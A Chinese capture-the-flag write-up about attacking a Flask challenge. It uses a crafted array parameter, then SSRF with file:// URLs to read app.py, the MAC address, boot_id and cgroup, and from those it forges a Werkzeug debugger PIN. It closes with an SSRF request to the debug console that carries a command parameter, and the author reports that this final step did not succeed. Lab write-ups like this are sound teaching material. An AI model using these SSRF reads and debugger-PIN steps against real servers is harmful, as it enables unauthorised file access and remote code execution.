它首先检查请求中的 "hint" 参数是否等于 ["your?", "mine!", "hint!!"](以数组的形式)。如果相等,就会发送一个HTTP响应头,并执行系统命令 "ls / -la" 来列出根目录的文件,之后退出。
所以构造出来的参数是?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!
发现是需要root权限才能查看,现在权限不能查看flag。但是我们发现了app.py。我们可以使用ssrf查看app.py的内容。
?url=file:///app.py&lolita[]=
其实这里我们就可以伪造session拿到flag,但是我们没有cookie,无法伪造session。
但是我们发现debug开启监听1314端口。我们可以通过计算Pin码进入调试模式。解释一下pin码是在开启debug模式下,进行代码调试模式所需的进入密码。
pin码的生成可以看看这个大佬说的。
关于ctf中flask算pin总结_ctf web 在运行服务器的shell的标准输出上找到打印出来的pin-CSDN博客
总结是要六要素
1.username 启动这个Flask的用户
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask目录下面app.py的绝对路径,可以通过报错拿到
5.uuidnode mac地址的十进制表达
6.machine_id 机器码
1.我们得知用户是root
2.默认flask.app
3.Flask
4.各种方法试了一下,反正我是没有得到报错出来的答案。试一试默认的路径吧。
/usr/local/lib/python3.8/site-packages/flask/app.py
5.mac地址,?url=file:///sys/class/net/eth0/address&lolita[]=
ce:95:05:d6:9b:3a 十进制后是 206149521415558
6.机器码
机器码分为两个部分,我们可以先读取/etc/machine-id,然后再接上/proc/self/cgroup。
幽默。
我们再试试另一个/?url=file:///proc/sys/kernel/random/boot_id。
7aa87637-021d-4b97-b47c-cf51e1a2824e
/proc/self/cgroup 只读取第一行,并以从右边算起的第一个/
为分隔符
docker-f4def8cc7e4dbbce400d0b30b6b90fe29464e818a404561be81758f6c0b0985e.scope
然后拿计算pin值的脚本计算,脚本上面分享的那个博主里有就不再放了。
pin=549-149-762 Cookie=__wzdfbd1bef74f38556470cd=1709558016|0b7aa1ba2004
然后就是传参。
这里我们要去获取frm和s的值
- frm如果没有报错信息的话值为0
- s的值可以直接访问
./console
,然后查看源码的SECRET值
?url=http://localhost:1314/console&lolita[]=
s=1N8WyDmlDm9591B9BreE
/?lolita[]=Cookie=__wzdfbd1bef74f38556470cd=1709558016|0b7aa1ba2004&url=http://127.0.0.1:1314/console?%26__debugger__=yes%26pin=549-149-762%26cmd=print(2)%26frm=0%26s=1N8WyDmlDm9591B9BreE
但是我不知道哪一步做错了,在传参后始终得不到flag。
欢迎大家讨论!